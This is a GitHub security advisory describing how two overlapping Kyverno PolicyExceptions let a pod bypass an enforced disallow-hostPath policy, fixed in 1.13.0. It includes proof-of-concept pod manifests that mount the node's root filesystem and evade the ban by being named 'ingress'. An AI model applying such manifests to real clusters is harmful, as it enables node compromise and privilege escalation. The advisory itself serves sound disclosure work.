GHSA-gg4x-fgg2-h9w9 Bypassing Kyverno Policies via Double Policy Exceptions

• Go github.com/kyverno/kyverno: >= 1.9.0, < 1.13.0 → fixed in 1.13.0

Summary If a cluster has a `Kyverno` policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second. Details The following policy was applied: ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: disallow-host-path annotations: policies.kyverno.io/title: Disallow hostPath policies.kyverno.io/category: Pod Security Standards (Baseline) policies.kyverno.io/severity: medium policies.kyverno.io/subject: Pod,Volume kyverno.io/kyverno-version: 1.6.0 kyverno.io/kubernetes-version: "1.22-1.23" policies.kyverno.io/description: >- HostPath volumes let Pods use host directories and volumes in containers. Using host resources can be used to access shared data or escalate privileges and should not be allowed. This policy ensures no hostPath volumes are in use. spec: validationFailureAction: Enforce background: true rules: • name: host-path match: any: • resources: kinds: • Pod validate: message: >- HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset. pattern: spec: =(volumes): • X(hostPath): "null" ``` And two exceptions: ```yaml apiVersion: kyverno.io/v2beta1 kind: PolicyException metadata: name: disallow-host-path-exception namespace: kyverno spec: exceptions: • policyName: disallow-host-path ruleNames: • host-path match: any: • resources: kinds: • DaemonSet • Deployment • Job • StatefulSet • ReplicaSet • ReplicationController • Pod • CronJob namespaces: • luntry • tstkyverno • examplens ``` ```yaml apiVersion: kyverno.io/v2beta1 kind: PolicyException metadata: name: disallow-host-path-exception-names namespace: kyverno spec: exceptions: • policyName: disallow-host-path ruleNames: • host-path match: any: • resources: kinds: • DaemonSet • Deployment • Job • StatefulSet • ReplicaSet • ReplicationController • Pod • CronJob names: • '*haproxy*' • '*ingress*' ``` Trying to apply such a yaml will result in the expected ban: ```yaml apiVersion: v1 kind: Pod metadata: name: mtkpi labels: app: pentest spec: containers: • name: mtkpi image: ubuntu volumeMounts: • mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: • name: noderoot hostPath: path: / ``` However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed: ```yaml apiVersion: v1 kind: Pod metadata: name: ingress labels: app: pentest spec: containers: • name: mtkpi image: ubuntu volumeMounts: • mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: • name: noderoot hostPath: path: / ``` It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions. Impact The security restrictions can be bypassed.